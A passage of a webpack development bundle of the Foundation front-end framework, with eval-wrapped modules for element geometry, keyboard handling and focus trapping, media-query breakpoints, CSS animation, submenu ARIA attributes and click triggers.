Toggler;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__["Plugin"]);\n\nToggler.defaults = {\n /**\n * Tells the plugin if the element should animated when toggled.\n * @option\n * @type {boolean}\n * @default false\n */\n animate: false\n};\n\n\n//# sourceURL=webpack:///./js/foundation.toggler.js?')},"./js/foundation.util.box.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Box\", function() { return Box; });\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n\n\n\nvar Box = {\n ImNotTouchingYou: ImNotTouchingYou,\n OverlapArea: OverlapArea,\n GetDimensions: GetDimensions,\n GetOffsets: GetOffsets,\n GetExplicitOffsets: GetExplicitOffsets\n /**\n * Compares the dimensions of an element to a container and determines collision events with container.\n * @function\n * @param {jQuery} element - jQuery object to test for collisions.\n * @param {jQuery} parent - jQuery object to use as bounding container.\n * @param {Boolean} lrOnly - set to true to check left and right values only.\n * @param {Boolean} tbOnly - set to true to check top and bottom values only.\n * @default if no parent object passed, detects collisions with `window`.\n * @returns {Boolean} - true if collision free, false if a collision in any direction.\n */\n\n};\n\nfunction ImNotTouchingYou(element, parent, lrOnly, tbOnly, ignoreBottom) {\n return OverlapArea(element, parent, lrOnly, tbOnly, ignoreBottom) === 0;\n}\n\n;\n\nfunction OverlapArea(element, parent, lrOnly, tbOnly, ignoreBottom) {\n var eleDims = GetDimensions(element),\n topOver,\n bottomOver,\n leftOver,\n rightOver;\n\n if (parent) {\n var parDims = GetDimensions(parent);\n bottomOver = parDims.height + parDims.offset.top - (eleDims.offset.top + eleDims.height);\n topOver = eleDims.offset.top - parDims.offset.top;\n leftOver = eleDims.offset.left - parDims.offset.left;\n rightOver = parDims.width + parDims.offset.left - (eleDims.offset.left + eleDims.width);\n } else {\n bottomOver = eleDims.windowDims.height + eleDims.windowDims.offset.top - (eleDims.offset.top + eleDims.height);\n topOver = eleDims.offset.top - eleDims.windowDims.offset.top;\n leftOver = eleDims.offset.left - eleDims.windowDims.offset.left;\n rightOver = eleDims.windowDims.width - (eleDims.offset.left + eleDims.width);\n }\n\n bottomOver = ignoreBottom ? 0 : Math.min(bottomOver, 0);\n topOver = Math.min(topOver, 0);\n leftOver = Math.min(leftOver, 0);\n rightOver = Math.min(rightOver, 0);\n\n if (lrOnly) {\n return leftOver + rightOver;\n }\n\n if (tbOnly) {\n return topOver + bottomOver;\n } // use sum of squares b/c we care about overlap area.\n\n\n return Math.sqrt(topOver * topOver + bottomOver * bottomOver + leftOver * leftOver + rightOver * rightOver);\n}\n/**\n * Uses native methods to return an object of dimension values.\n * @function\n * @param {jQuery || HTML} element - jQuery object or DOM element for which to get the dimensions. Can be any element other that document or window.\n * @returns {Object} - nested object of integer pixel values\n * TODO - if element is window, return only those values.\n */\n\n\nfunction GetDimensions(elem) {\n elem = elem.length ? elem[0] : elem;\n\n if (elem === window || elem === document) {\n throw new Error(\"I'm sorry, Dave. I'm afraid I can't do that.\");\n }\n\n var rect = elem.getBoundingClientRect(),\n parRect = elem.parentNode.getBoundingClientRect(),\n winRect = document.body.getBoundingClientRect(),\n winY = window.pageYOffset,\n winX = window.pageXOffset;\n return {\n width: rect.width,\n height: rect.height,\n offset: {\n top: rect.top + winY,\n left: rect.left + winX\n },\n parentDims: {\n width: parRect.width,\n height: parRect.height,\n offset: {\n top: parRect.top + winY,\n left: parRect.left + winX\n }\n },\n windowDims: {\n width: winRect.width,\n height: winRect.height,\n offset: {\n top: winY,\n left: winX\n }\n }\n };\n}\n/**\n * Returns an object of top and left integer pixel values for dynamically rendered elements,\n * such as: Tooltip, Reveal, and Dropdown. Maintained for backwards compatibility, and where\n * you don't know alignment, but generally from\n * 6.4 forward you should use GetExplicitOffsets, as GetOffsets conflates position and alignment.\n * @function\n * @param {jQuery} element - jQuery object for the element being positioned.\n * @param {jQuery} anchor - jQuery object for the element's anchor point.\n * @param {String} position - a string relating to the desired position of the element, relative to it's anchor\n * @param {Number} vOffset - integer pixel value of desired vertical separation between anchor and element.\n * @param {Number} hOffset - integer pixel value of desired horizontal separation between anchor and element.\n * @param {Boolean} isOverflow - if a collision event is detected, sets to true to default the element to full width - any desired offset.\n * TODO alter/rewrite to work with `em` values as well/instead of pixels\n */\n\n\nfunction GetOffsets(element, anchor, position, vOffset, hOffset, isOverflow) {\n console.log(\"NOTE: GetOffsets is deprecated in favor of GetExplicitOffsets and will be removed in 6.5\");\n\n switch (position) {\n case 'top':\n return Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? GetExplicitOffsets(element, anchor, 'top', 'left', vOffset, hOffset, isOverflow) : GetExplicitOffsets(element, anchor, 'top', 'right', vOffset, hOffset, isOverflow);\n\n case 'bottom':\n return Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? GetExplicitOffsets(element, anchor, 'bottom', 'left', vOffset, hOffset, isOverflow) : GetExplicitOffsets(element, anchor, 'bottom', 'right', vOffset, hOffset, isOverflow);\n\n case 'center top':\n return GetExplicitOffsets(element, anchor, 'top', 'center', vOffset, hOffset, isOverflow);\n\n case 'center bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'center', vOffset, hOffset, isOverflow);\n\n case 'center left':\n return GetExplicitOffsets(element, anchor, 'left', 'center', vOffset, hOffset, isOverflow);\n\n case 'center right':\n return GetExplicitOffsets(element, anchor, 'right', 'center', vOffset, hOffset, isOverflow);\n\n case 'left bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'left', vOffset, hOffset, isOverflow);\n\n case 'right bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'right', vOffset, hOffset, isOverflow);\n // Backwards compatibility... this along with the reveal and reveal full\n // classes are the only ones that didn't reference anchor\n\n case 'center':\n return {\n left: $eleDims.windowDims.offset.left + $eleDims.windowDims.width / 2 - $eleDims.width / 2 + hOffset,\n top: $eleDims.windowDims.offset.top + $eleDims.windowDims.height / 2 - ($eleDims.height / 2 + vOffset)\n };\n\n case 'reveal':\n return {\n left: ($eleDims.windowDims.width - $eleDims.width) / 2 + hOffset,\n top: $eleDims.windowDims.offset.top + vOffset\n };\n\n case 'reveal full':\n return {\n left: $eleDims.windowDims.offset.left,\n top: $eleDims.windowDims.offset.top\n };\n break;\n\n default:\n return {\n left: Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? $anchorDims.offset.left - $eleDims.width + $anchorDims.width - hOffset : $anchorDims.offset.left + hOffset,\n top: $anchorDims.offset.top + $anchorDims.height + vOffset\n };\n }\n}\n\nfunction GetExplicitOffsets(element, anchor, position, alignment, vOffset, hOffset, isOverflow) {\n var $eleDims = GetDimensions(element),\n $anchorDims = anchor ? GetDimensions(anchor) : null;\n var topVal, leftVal; // set position related attribute\n\n switch (position) {\n case 'top':\n topVal = $anchorDims.offset.top - ($eleDims.height + vOffset);\n break;\n\n case 'bottom':\n topVal = $anchorDims.offset.top + $anchorDims.height + vOffset;\n break;\n\n case 'left':\n leftVal = $anchorDims.offset.left - ($eleDims.width + hOffset);\n break;\n\n case 'right':\n leftVal = $anchorDims.offset.left + $anchorDims.width + hOffset;\n break;\n } // set alignment related attribute\n\n\n switch (position) {\n case 'top':\n case 'bottom':\n switch (alignment) {\n case 'left':\n leftVal = $anchorDims.offset.left + hOffset;\n break;\n\n case 'right':\n leftVal = $anchorDims.offset.left - $eleDims.width + $anchorDims.width - hOffset;\n break;\n\n case 'center':\n leftVal = isOverflow ? hOffset : $anchorDims.offset.left + $anchorDims.width / 2 - $eleDims.width / 2 + hOffset;\n break;\n }\n\n break;\n\n case 'right':\n case 'left':\n switch (alignment) {\n case 'bottom':\n topVal = $anchorDims.offset.top - vOffset + $anchorDims.height - $eleDims.height;\n break;\n\n case 'top':\n topVal = $anchorDims.offset.top + vOffset;\n break;\n\n case 'center':\n topVal = $anchorDims.offset.top + vOffset + $anchorDims.height / 2 - $eleDims.height / 2;\n break;\n }\n\n break;\n }\n\n return {\n top: topVal,\n left: leftVal\n };\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.box.js?")},"./js/foundation.util.keyboard.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Keyboard\", function() { return Keyboard; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/*******************************************\n * *\n * This util was created by Marius Olbertz *\n * Please thank Marius on GitHub /owlbertz *\n * or the web http://www.mariusolbertz.de/ *\n * *\n ******************************************/\n\n\n\n\nvar keyCodes = {\n 9: 'TAB',\n 13: 'ENTER',\n 27: 'ESCAPE',\n 32: 'SPACE',\n 35: 'END',\n 36: 'HOME',\n 37: 'ARROW_LEFT',\n 38: 'ARROW_UP',\n 39: 'ARROW_RIGHT',\n 40: 'ARROW_DOWN'\n};\nvar commands = {}; // Functions pulled out to be referenceable from internals\n\nfunction findFocusable($element) {\n if (!$element) {\n return false;\n }\n\n return $element.find('a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), iframe, object, embed, *[tabindex], *[contenteditable]').filter(function () {\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':visible') || jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).attr('tabindex') < 0) {\n return false;\n } //only have visible elements and those that have a tabindex greater or equal 0\n\n\n return true;\n });\n}\n\nfunction parseKey(event) {\n var key = keyCodes[event.which || event.keyCode] || String.fromCharCode(event.which).toUpperCase(); // Remove un-printable characters, e.g. for `fromCharCode` calls for CTRL only events\n\n key = key.replace(/\\W+/, '');\n if (event.shiftKey) key = \"SHIFT_\".concat(key);\n if (event.ctrlKey) key = \"CTRL_\".concat(key);\n if (event.altKey) key = \"ALT_\".concat(key); // Remove trailing underscore, in case only modifiers were used (e.g. only `CTRL_ALT`)\n\n key = key.replace(/_$/, '');\n return key;\n}\n\nvar Keyboard = {\n keys: getKeyCodes(keyCodes),\n\n /**\n * Parses the (keyboard) event and returns a String that represents its key\n * Can be used like Foundation.parseKey(event) === Foundation.keys.SPACE\n * @param {Event} event - the event generated by the event handler\n * @return String key - String that represents the key pressed\n */\n parseKey: parseKey,\n\n /**\n * Handles the given (keyboard) event\n * @param {Event} event - the event generated by the event handler\n * @param {String} component - Foundation component's name, e.g. Slider or Reveal\n * @param {Objects} functions - collection of functions that are to be executed\n */\n handleKey: function handleKey(event, component, functions) {\n var commandList = commands[component],\n keyCode = this.parseKey(event),\n cmds,\n command,\n fn;\n if (!commandList) return console.warn('Component not defined!');\n\n if (typeof commandList.ltr === 'undefined') {\n // this component does not differentiate between ltr and rtl\n cmds = commandList; // use plain list\n } else {\n // merge ltr and rtl: if document is rtl, rtl overwrites ltr and vice versa\n if (Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"rtl\"])()) cmds = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, commandList.ltr, commandList.rtl);else cmds = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, commandList.rtl, commandList.ltr);\n }\n\n command = cmds[keyCode];\n fn = functions[command];\n\n if (fn && typeof fn === 'function') {\n // execute function if exists\n var returnValue = fn.apply();\n\n if (functions.handled || typeof functions.handled === 'function') {\n // execute function when event was handled\n functions.handled(returnValue);\n }\n } else {\n if (functions.unhandled || typeof functions.unhandled === 'function') {\n // execute function when event was not handled\n functions.unhandled();\n }\n }\n },\n\n /**\n * Finds all focusable elements within the given `$element`\n * @param {jQuery} $element - jQuery object to search within\n * @return {jQuery} $focusable - all focusable elements within `$element`\n */\n findFocusable: findFocusable,\n\n /**\n * Returns the component name name\n * @param {Object} component - Foundation component, e.g. Slider or Reveal\n * @return String componentName\n */\n register: function register(componentName, cmds) {\n commands[componentName] = cmds;\n },\n // TODO9438: These references to Keyboard need to not require global. Will 'this' work in this context?\n //\n\n /**\n * Traps the focus in the given element.\n * @param {jQuery} $element jQuery object to trap the foucs into.\n */\n trapFocus: function trapFocus($element) {\n var $focusable = findFocusable($element),\n $firstFocusable = $focusable.eq(0),\n $lastFocusable = $focusable.eq(-1);\n $element.on('keydown.zf.trapfocus', function (event) {\n if (event.target === $lastFocusable[0] && parseKey(event) === 'TAB') {\n event.preventDefault();\n $firstFocusable.focus();\n } else if (event.target === $firstFocusable[0] && parseKey(event) === 'SHIFT_TAB') {\n event.preventDefault();\n $lastFocusable.focus();\n }\n });\n },\n\n /**\n * Releases the trapped focus from the given element.\n * @param {jQuery} $element jQuery object to release the focus for.\n */\n releaseFocus: function releaseFocus($element) {\n $element.off('keydown.zf.trapfocus');\n }\n};\n/*\n * Constants for easier comparing.\n * Can be used like Foundation.parseKey(event) === Foundation.keys.SPACE\n */\n\nfunction getKeyCodes(kcs) {\n var k = {};\n\n for (var kc in kcs) {\n k[kcs[kc]] = kcs[kc];\n }\n\n return k;\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.keyboard.js?")},"./js/foundation.util.mediaQuery.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"MediaQuery\", function() { return MediaQuery; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n // Default set of media queries\n\nvar defaultQueries = {\n 'default': 'only screen',\n landscape: 'only screen and (orientation: landscape)',\n portrait: 'only screen and (orientation: portrait)',\n retina: 'only screen and (-webkit-min-device-pixel-ratio: 2),' + 'only screen and (min--moz-device-pixel-ratio: 2),' + 'only screen and (-o-min-device-pixel-ratio: 2/1),' + 'only screen and (min-device-pixel-ratio: 2),' + 'only screen and (min-resolution: 192dpi),' + 'only screen and (min-resolution: 2dppx)'\n}; // matchMedia() polyfill - Test a CSS media type/query in JS.\n// Authors & copyright(c) 2012: Scott Jehl, Paul Irish, Nicholas Zakas, David Knight. MIT license\n\n/* eslint-disable */\n\nwindow.matchMedia || (window.matchMedia = function () {\n \"use strict\"; // For browsers that support matchMedium api such as IE 9 and webkit\n\n var styleMedia = window.styleMedia || window.media; // For those that don't support matchMedium\n\n if (!styleMedia) {\n var style = document.createElement('style'),\n script = document.getElementsByTagName('script')[0],\n info = null;\n style.type = 'text/css';\n style.id = 'matchmediajs-test';\n\n if (!script) {\n document.head.appendChild(style);\n } else {\n script.parentNode.insertBefore(style, script);\n } // 'style.currentStyle' is used by IE <= 8 and 'window.getComputedStyle' for all other browsers\n\n\n info = 'getComputedStyle' in window && window.getComputedStyle(style, null) || style.currentStyle;\n styleMedia = {\n matchMedium: function matchMedium(media) {\n var text = '@media ' + media + '{ #matchmediajs-test { width: 1px; } }'; // 'style.styleSheet' is used by IE <= 8 and 'style.textContent' for all other browsers\n\n if (style.styleSheet) {\n style.styleSheet.cssText = text;\n } else {\n style.textContent = text;\n } // Test if media query is true or false\n\n\n return info.width === '1px';\n }\n };\n }\n\n return function (media) {\n return {\n matches: styleMedia.matchMedium(media || 'all'),\n media: media || 'all'\n };\n };\n}());\n/* eslint-enable */\n\nvar MediaQuery = {\n queries: [],\n current: '',\n\n /**\n * Initializes the media query helper, by extracting the breakpoint list from the CSS and activating the breakpoint watcher.\n * @function\n * @private\n */\n _init: function _init() {\n var self = this;\n var $meta = jquery__WEBPACK_IMPORTED_MODULE_0___default()('meta.foundation-mq');\n\n if (!$meta.length) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('').appendTo(document.head);\n }\n\n var extractedStyles = jquery__WEBPACK_IMPORTED_MODULE_0___default()('.foundation-mq').css('font-family');\n var namedQueries;\n namedQueries = parseStyleToObject(extractedStyles);\n\n for (var key in namedQueries) {\n if (namedQueries.hasOwnProperty(key)) {\n self.queries.push({\n name: key,\n value: \"only screen and (min-width: \".concat(namedQueries[key], \")\")\n });\n }\n }\n\n this.current = this._getCurrentSize();\n\n this._watcher();\n },\n\n /**\n * Checks if the screen is at least as wide as a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to check.\n * @returns {Boolean} `true` if the breakpoint matches, `false` if it's smaller.\n */\n atLeast: function atLeast(size) {\n var query = this.get(size);\n\n if (query) {\n return window.matchMedia(query).matches;\n }\n\n return false;\n },\n\n /**\n * Checks if the screen matches to a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to check, either 'small only' or 'small'. Omitting 'only' falls back to using atLeast() method.\n * @returns {Boolean} `true` if the breakpoint matches, `false` if it does not.\n */\n is: function is(size) {\n size = size.trim().split(' ');\n\n if (size.length > 1 && size[1] === 'only') {\n if (size[0] === this._getCurrentSize()) return true;\n } else {\n return this.atLeast(size[0]);\n }\n\n return false;\n },\n\n /**\n * Gets the media query of a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to get.\n * @returns {String|null} - The media query of the breakpoint, or `null` if the breakpoint doesn't exist.\n */\n get: function get(size) {\n for (var i in this.queries) {\n if (this.queries.hasOwnProperty(i)) {\n var query = this.queries[i];\n if (size === query.name) return query.value;\n }\n }\n\n return null;\n },\n\n /**\n * Gets the current breakpoint name by testing every breakpoint and returning the last one to match (the biggest one).\n * @function\n * @private\n * @returns {String} Name of the current breakpoint.\n */\n _getCurrentSize: function _getCurrentSize() {\n var matched;\n\n for (var i = 0; i < this.queries.length; i++) {\n var query = this.queries[i];\n\n if (window.matchMedia(query.value).matches) {\n matched = query;\n }\n }\n\n if (_typeof(matched) === 'object') {\n return matched.name;\n } else {\n return matched;\n }\n },\n\n /**\n * Activates the breakpoint watcher, which fires an event on the window whenever the breakpoint changes.\n * @function\n * @private\n */\n _watcher: function _watcher() {\n var _this = this;\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('resize.zf.mediaquery').on('resize.zf.mediaquery', function () {\n var newSize = _this._getCurrentSize(),\n currentSize = _this.current;\n\n if (newSize !== currentSize) {\n // Change the current media query\n _this.current = newSize; // Broadcast the media query change on the window\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).trigger('changed.zf.mediaquery', [newSize, currentSize]);\n }\n });\n }\n}; // Thank you: https://github.com/sindresorhus/query-string\n\nfunction parseStyleToObject(str) {\n var styleObject = {};\n\n if (typeof str !== 'string') {\n return styleObject;\n }\n\n str = str.trim().slice(1, -1); // browsers re-quote string style values\n\n if (!str) {\n return styleObject;\n }\n\n styleObject = str.split('&').reduce(function (ret, param) {\n var parts = param.replace(/\\+/g, ' ').split('=');\n var key = parts[0];\n var val = parts[1];\n key = decodeURIComponent(key); // missing `=` should be `null`:\n // http://w3.org/TR/2012/WD-url-20120524/#collect-url-parameters\n\n val = typeof val === 'undefined' ? null : decodeURIComponent(val);\n\n if (!ret.hasOwnProperty(key)) {\n ret[key] = val;\n } else if (Array.isArray(ret[key])) {\n ret[key].push(val);\n } else {\n ret[key] = [ret[key], val];\n }\n\n return ret;\n }, {});\n return styleObject;\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.mediaQuery.js?")},"./js/foundation.util.motion.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Move\", function() { return Move; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Motion\", function() { return Motion; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n\n\n\n\n/**\n * Motion module.\n * @module foundation.motion\n */\n\nvar initClasses = ['mui-enter', 'mui-leave'];\nvar activeClasses = ['mui-enter-active', 'mui-leave-active'];\nvar Motion = {\n animateIn: function animateIn(element, animation, cb) {\n animate(true, element, animation, cb);\n },\n animateOut: function animateOut(element, animation, cb) {\n animate(false, element, animation, cb);\n }\n};\n\nfunction Move(duration, elem, fn) {\n var anim,\n prog,\n start = null; // console.log('called');\n\n if (duration === 0) {\n fn.apply(elem);\n elem.trigger('finished.zf.animate', [elem]).triggerHandler('finished.zf.animate', [elem]);\n return;\n }\n\n function move(ts) {\n if (!start) start = ts; // console.log(start, ts);\n\n prog = ts - start;\n fn.apply(elem);\n\n if (prog < duration) {\n anim = window.requestAnimationFrame(move, elem);\n } else {\n window.cancelAnimationFrame(anim);\n elem.trigger('finished.zf.animate', [elem]).triggerHandler('finished.zf.animate', [elem]);\n }\n }\n\n anim = window.requestAnimationFrame(move);\n}\n/**\n * Animates an element in or out using a CSS transition class.\n * @function\n * @private\n * @param {Boolean} isIn - Defines if the animation is in or out.\n * @param {Object} element - jQuery or HTML object to animate.\n * @param {String} animation - CSS class to use.\n * @param {Function} cb - Callback to run when animation is finished.\n */\n\n\nfunction animate(isIn, element, animation, cb) {\n element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element).eq(0);\n if (!element.length) return;\n var initClass = isIn ? initClasses[0] : initClasses[1];\n var activeClass = isIn ? activeClasses[0] : activeClasses[1]; // Set up the animation\n\n reset();\n element.addClass(animation).css('transition', 'none');\n requestAnimationFrame(function () {\n element.addClass(initClass);\n if (isIn) element.show();\n }); // Start the animation\n\n requestAnimationFrame(function () {\n element[0].offsetWidth;\n element.css('transition', '').addClass(activeClass);\n }); // Clean up the animation when it finishes\n\n element.one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"transitionend\"])(element), finish); // Hides the element (for out animations), resets the element, and runs a callback\n\n function finish() {\n if (!isIn) element.hide();\n reset();\n if (cb) cb.apply(element);\n } // Resets transitions and removes motion-specific classes\n\n\n function reset() {\n element[0].style.transitionDuration = 0;\n element.removeClass(\"\".concat(initClass, \" \").concat(activeClass, \" \").concat(animation));\n }\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.motion.js?")},"./js/foundation.util.nest.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Nest\", function() { return Nest; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\n\nvar Nest = {\n Feather: function Feather(menu) {\n var type = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'zf';\n menu.attr('role', 'menubar');\n var items = menu.find('li').attr({\n 'role': 'menuitem'\n }),\n subMenuClass = \"is-\".concat(type, \"-submenu\"),\n subItemClass = \"\".concat(subMenuClass, \"-item\"),\n hasSubClass = \"is-\".concat(type, \"-submenu-parent\"),\n applyAria = type !== 'accordion'; // Accordions handle their own ARIA attriutes.\n\n items.each(function () {\n var $item = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $sub = $item.children('ul');\n\n if ($sub.length) {\n $item.addClass(hasSubClass);\n $sub.addClass(\"submenu \".concat(subMenuClass)).attr({\n 'data-submenu': ''\n });\n\n if (applyAria) {\n $item.attr({\n 'aria-haspopup': true,\n 'aria-label': $item.children('a:first').text()\n }); // Note: Drilldowns behave differently in how they hide, and so need\n // additional attributes. We should look if this possibly over-generalized\n // utility (Nest) is appropriate when we rework menus in 6.4\n\n if (type === 'drilldown') {\n $item.attr({\n 'aria-expanded': false\n });\n }\n }\n\n $sub.addClass(\"submenu \".concat(subMenuClass)).attr({\n 'data-submenu': '',\n 'role': 'menubar'\n });\n\n if (type === 'drilldown') {\n $sub.attr({\n 'aria-hidden': true\n });\n }\n }\n\n if ($item.parent('[data-submenu]').length) {\n $item.addClass(\"is-submenu-item \".concat(subItemClass));\n }\n });\n return;\n },\n Burn: function Burn(menu, type) {\n var //items = menu.find('li'),\n subMenuClass = \"is-\".concat(type, \"-submenu\"),\n subItemClass = \"\".concat(subMenuClass, \"-item\"),\n hasSubClass = \"is-\".concat(type, \"-submenu-parent\");\n menu.find('>li, > li > ul, .menu, .menu > li, [data-submenu] > li').removeClass(\"\".concat(subMenuClass, \" \").concat(subItemClass, \" \").concat(hasSubClass, \" is-submenu-item submenu is-active\")).removeAttr('data-submenu').css('display', '');\n }\n};\n\n\n//# sourceURL=webpack:///./js/foundation.util.nest.js?")},"./js/foundation.util.triggers.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Triggers\", function() { return Triggers; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n\n\n\n\nvar MutationObserver = function () {\n var prefixes = ['WebKit', 'Moz', 'O', 'Ms', ''];\n\n for (var i = 0; i < prefixes.length; i++) {\n if (\"\".concat(prefixes[i], \"MutationObserver\") in window) {\n return window[\"\".concat(prefixes[i], \"MutationObserver\")];\n }\n }\n\n return false;\n}();\n\nvar triggers = function triggers(el, type) {\n el.data(type).split(' ').forEach(function (id) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(id))[type === 'close' ? 'trigger' : 'triggerHandler'](\"\".concat(type, \".zf.trigger\"), [el]);\n });\n};\n\nvar Triggers = {\n Listeners: {\n Basic: {},\n Global: {}\n },\n Initializers: {}\n};\nTriggers.Listeners.Basic = {\n openListener: function openListener() {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'open');\n },\n closeListener: function closeListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('close');\n\n if (id) {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'close');\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('close.zf.trigger');\n }\n },\n toggleListener: function toggleListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('toggle');\n\n if (id) {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'toggle');\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('toggle.zf.trigger');\n }\n },\n closeableListener: function closeableListener(e) {\n e.stopPropagation();\n var animation = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('closable');\n\n if (animation !== '') {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__[\"Motion\"].animateOut(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), animation, function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('closed.zf');\n });\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).fadeOut().trigger('closed.zf');\n }\n },\n toggleFocusListener: function toggleFocusListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('toggle-focus');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(id)).triggerHandler('toggle.zf.trigger', [jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)]);\n }\n}; // Elements with [data-open] will reveal a plugin that supports it when clicked.\n\nTriggers.Initializers.addOpenListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.openListener);\n $elem.on('click.zf.trigger', '[data-open]', Triggers.Listeners.Basic.openListener);\n}; // Elements with [data-close] will close a plugin that supports it when clicked.\n// If used without a value on [data-close], the event will bubble, allowing it to close a parent component.\n\n\nTriggers.Initializers.addCloseListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.closeListener);\n 